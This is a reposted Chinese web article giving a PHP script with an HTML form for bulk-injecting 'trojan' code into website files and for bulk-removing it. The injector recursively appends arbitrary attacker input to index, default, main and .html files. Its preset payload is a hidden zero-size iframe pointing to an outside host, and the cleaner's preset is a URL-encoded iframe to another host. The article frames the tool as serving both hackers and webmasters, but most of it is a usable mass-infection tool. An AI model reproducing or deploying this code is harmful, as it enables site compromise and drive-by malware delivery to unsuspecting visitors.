首页 > 资讯列表 > 编程/数据库 >> PHP

php下批量挂马和批量清马代码

PHP 2014-12-27 15:03:12 转载来源: 网络整理/侵权必删

本文是一个php实现的可以批量挂马和批量清理木马的代码示例,感兴趣的同学参考下。 批量挂马和批量清马程序PHP版,所以黑客工具的对立性,在黑客手里是破坏工具,在维护的站长来说是修正工具

本文是一个php实现的可以批量挂马和批量清理木马的代码示例,感兴趣的同学参考下。

批量挂马和批量清马程序PHP版,所以黑客工具的对立性,在黑客手里是破坏工具,在维护的站长来说是修正工具。


<?php
function gmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
gmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = @fopen (”$file”, “a”);
@fwrite($handle, “$mm”);
@fclose($handle);
echo “已挂马文件:$filen<br>”;

}
}
}
$d->close();
echo ” “;
}
function qmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
qmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = fopen (”$file”, “rb”);
$oldcontent=fread($handle,filesize($file));
fclose($handle);
$newcontent=str_replace($mm,””,$oldcontent);
$fw = fopen (”$file”, “wb”);
fwrite($fw,$newcontent,strlen($newcontent));
fclose($fw);
echo “已清马文件:$filen<br>”;

}
}
}
$d->close();
echo ” “;
}

if ($_GET['action']=='gm') {
set_time_limit(0);
gmfun($_POST["dir"]);
}
if ($_GET['action']=='qm') {
set_time_limit(0);
qmfun($_POST["dir"]);
}
?>
<title>批量挂马(清马)程序php版</title><body>
<form action=”<?$PHP_SELF?>?action=gm” method=”post”>
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>网站批量挂马程序php版
BY n3tl04d</font></div>
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>路径:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相对路径)
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>挂马关键字:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value='index.|default.|main.|.html'>—–正则表达式匹配——
<td colspan=”2″ height=”1″></td>
<td> </tr>
<tr>
<td height=”25″ bgcolor=”#CCCCCC”>想写入的挂马代码:</td>
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://982.9966.org/b073399/b07.htm width=0 height=0 frameborder=0></iframe>'>
<td> </tr>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”>
<input type=”submit” name=”Submit” value=”提交”>
  
<input type=”reset” name=”Submit2″ value=”重置”>
</div></td>
<td> </tr>
</table>
</form>
<form action=”<?$PHP_SELF?>?action=qm” method=”post”>
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>批量清马工具php版
BY 随风而去(LST)</font></div>
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>路径:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相对路径)
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>清马关键字:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value='index.|default.|main.|.html'>—–正则表达式匹配——
<td colspan=”2″ height=”1″></td>
<td> </tr>
<tr>
<td height=”25″ bgcolor=”#CCCCCC”>想清除的挂马代码:</td>
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://%31%73%61%6e%69%32%6b%6d%2e%63%6e/%6A%6A%32.htm width=50 height=0 frameborder=0></iframe>'>
<td> </tr>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”>
<input type=”submit” name=”Submit” value=”提交”>
  
<input type=”reset” name=”Submit2″ value=”重置”>
</div></td>
<td> </tr>
</table>
</form>

标签: 批量 php 挂马 清马 代码


声明:本文内容来源自网络,文字、图片等素材版权属于原作者,平台转载素材出于传递更多信息,文章内容仅供参考与学习,切勿作为商业目的使用。如果侵害了您的合法权益,请您及时与我们联系,我们会在第一时间进行处理!我们尊重版权,也致力于保护版权,站搜网感谢您的分享!

站长搜索

http://www.adminso.com

Copyright @ 2007~2024 All Rights Reserved.

Powered By 站长搜索

打开手机扫描上面的二维码打开手机版


使用手机软件扫描微信二维码

关注我们可获取更多热点资讯

站长搜索目录系统技术支持